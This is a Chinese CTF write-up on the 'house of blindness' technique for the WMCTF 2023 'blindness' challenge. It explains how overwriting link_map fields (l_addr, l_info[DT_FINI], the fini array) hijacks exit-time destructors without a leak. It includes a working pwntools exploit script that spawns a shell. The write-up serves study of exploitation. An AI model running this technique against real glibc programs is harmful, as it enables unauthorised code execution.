在WMCTF 2023官方wp中,看到了一个十分新奇的手法house of blindness. 其无需leak地址却仍然能够hijack程序流,这里做以学习研究。本文例题使用WMCTF2023 blindness
首先补充一个关于malloc的前置知识
mmap()
如图,我们申请出来的chunk位置如下
可以看到,其地址与libc和ld连在一起
首先我们需要关注一下.dynamic节
在gdb中我们可以使用dyn
命令查看.dynamic节内容。其中的内容氛围两个部分,一个是tag用于表示名称,一个是value.
这个结构由于是静态的,所以同样可以在IDA中看到
其中我们需要关注下DT_FINI
这个tag,也就是gdb中显示的FINI
,其代表了fini
函数到程序加载的虚拟地址的offset,即real_fini_addr = code_base + DT_FINI
,以本题为例我们可以得到
在exit()
函数的源码中,我们可以看到如下部分:
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
其中最下方的DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
便是调用_fini
函数的部分,宏定义如下
# define DL_CALL_DT_FINI(map, start) ((fini_t) (start)) ()
而l_addr
和l_info[DT_FINI]
正对应这我们前面谈到的codebase和.dynamic节上的偏移,l为在ld中存放的link_map结构
以本题为例,我们用gdb跟踪exit流。可以发现,在调用完__do_global_dtors_aux
之后,程序流便会通过r15,来调用fini
,如图
其中mov rax,QWORD PTR [r15+0xa8]
,就是对应l_info[DT_FINI]
,即指向.dynmic中DT_FINI条目的指针
而add rax,QWORD PTR [r15]
,对应l_addr
,也就是codebase
明白了调用fini
的原理后,how do we exploit this?
可以想象,如果我们能够更改link_map的内容,比如存放codebase和指向DT_FINI条目的指针。那么在调用fini时,我们就可以控制两者之和为system
这样的函数,从而拿到shell(这里我们先不考虑rdi参数如何控制)。这也是所谓house of blindness的核心思想,不过我们还是来看看完整的流程。
首先考虑,若我们想让两者之和为system这样的libc函数,那么一定要是一个libc的地址+一个偏移的形式,因而原有的codebase+offset的形式是不满足要求的。由于我们没有leak的能力,在不考虑爆破的情况下只能覆盖写最低字节,显然无法让一个text段地址调整至libc。
原作者给出的解法是利用DT_DEBUG
条目。DT_DEBUG中存放了指向_r_debug
函数的指针,且_r_debug
是一个ld部分的地址,则我们只需要需要将l_addr劫持为_r_debug
和system
函数的差,l_info[DT_FINI]劫持为DT_DEBUG条目,就可以执行system。
此时rdi参数恰好也是ld中的一个指针,另外还需要劫持fini_array
为空,防止由于指针更改出现crash
原作者给出了exp的大致形式如下:
# disable fini array from exec
write(ld.address + link_map + l_info + 8 * DT_FINI_ARRAY, p64(0))
# overwrite l_info[DT_FINI]'s lsb so that it points to _r_debug
write(ld.address + link_map + l_info + 8 * DT_FINI, b"\xb8")
# overwrite l_addr with offset to bring _r_debug to system
write(
ld.address + link_map,
p64(libc.symbols["system"] - ld.symbols["_r_debug"], signed=True),
)
# fill _dl_load_lock with /bin/sh
write(ld.symbols["_rtld_global"] + _dl_load_lock, b"/bin/sh\x00")
总结一下利用条件:
malloc(0x100000)
作者给出的利用条件的形式如下
// get size from user
char *chunk = malloc(size);
// get idx and byte from the user
chunk[idx] = byte;
WMCTF的这道例题也使用了类似的思想,不过手法并不完全相同,并非利用DT_DEBUG
. 我们可以再看一眼本题的.dynamic标签的地址分布
可以注意到DT_FINI
的地址为0x3DB8,DT_DEBUG
的地址为0x3E58,即如果我们考虑原作者的思路。则需要覆盖2个byte,即仍需1/16的爆破。但是我们注意到,本题是存在后门backdoor
的,那么我们可以控制l_info[DT_FINI]
为一个text段的函数,然后利用l_addr偏移至后门即可。可以看到.dynamic上面的一个标签__frame_dummy_init_array_entry
且恰好后门函数和该函数只有0x9的偏移,如图。那么我们就可以覆盖l_info[DT_FINI]的最低字节从0xB8到0x80,然后控制l_addr偏移为9,从而执行后门函数.
官方exp如下,估计出题人套了自己的板子,因而注释与代码并不匹配,这里并非利用DT_DEBUG。且劫持参数为/bin/sh
也是无必要的
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
#context.log_level = 'debug'
def write(addr,content):
content = list(content)
payload = "@" + p32(addr)
for i in range(len(content)):
payload += '.' + p8(ord(content[i]))
payload += '>'
return payload
def exp():
p.recv()
p.send(str(0x100000))
p.recv()
p.send(str(0x100))
p.recv()
payload = write(0x33f958 - 0x1c000,"/bin/sh;") #劫持参数
payload += write(0x340180-0x33f958-0x8,p64(0x9)) #将l_addr改为DT_DEBUg和system函数的差值
payload += write(0x340228-0x340180-0x8,p8(0x88-0x8)) #劫持DT_FINI指向DT_DEBUG
payload += write(0x340290-0x340228 - 0x1,p64(0)) #使得DT_FINI_ARRAY为NULL
payload += 'q'
p.send(payload)
p.interactive()
if __name__ == "__main__":
binary = './main'
elf = ELF('./main')
context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(binary)
exp()